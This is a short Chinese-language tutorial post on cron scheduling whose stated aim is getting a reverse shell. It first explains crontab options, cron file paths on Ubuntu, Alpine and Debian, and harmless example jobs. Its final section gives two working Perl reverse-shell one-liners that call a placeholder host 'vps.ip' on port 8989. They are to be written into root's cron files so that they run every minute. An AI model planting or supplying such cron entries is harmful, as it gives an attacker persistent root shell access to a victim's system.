日期:2018-11-26 13:47:34
介紹:如何使用定時任務來反彈 shell?
0x01、 基本命令
參數
-e:編輯該用戶的計時器設置;
-l:列出該用戶的計時器設置;
-r:刪除該用戶的計時器設置;
-u <用戶名稱>:指定要設定計時器的用戶名稱。
MAC 直接使用 crontab -e 無效:
編輯 username 的 crontab
$ sudo crontab -u username -e
列出 username 的 crontab,查看編輯后的數據
$ crontab -u username -l
0x02、具體信息
2.1 /etc/crontab 文件
該文件負責安排由系統管理員制定的維護系統以及其他任務的crontab。

minute hour day month week command
對應 分 時 日 月 周
2.2 如何開啟服務
service cron start
或者
/etc/init.d/cron {start|stop|status|restart|reload|force-reload}
2.3 配置文件
系統任務調度文件:/etc/crontab
用戶 XXX 調度文件:
ubuntu 下路徑
/var/spool/cron/crontabs/xxx
Alpine 下路徑
/etc/cron.d/xxx
debian 下的路徑(xxx 可以是任意東西)
/etc/cron.d/xxx
或者
/var/spool/cron/crontabs/xxx
但是寫這個路徑的時候,文件內不能加用戶名。
ubuntu 直接修改用戶的調度文件后,可使用 crontab 相關命令直接查看、編輯。
Alpine 修改了文件,crontab 查不到。。
0x03、具體實例
每天的六點輸出信息
0 6 * * * echo "Good morning." >> /tmp/test.txt
每晚的21:30重啟smb
30 21 * * * /etc/init.d/smb restart
0x04、反彈 shell
Alpine 系統:將以下內容寫入 /etc/cron.d/root 即可。
*/1 * * * * root perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
ubuntu 系統:寫入的文件是/var/spool/cron/crontabs/root
需要注意的是,ubuntu 不需要在5個*后面加 root。
*/1 * * * * perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
直接寫入文件以后,使用 crontab -l 可以看到加上的任務。
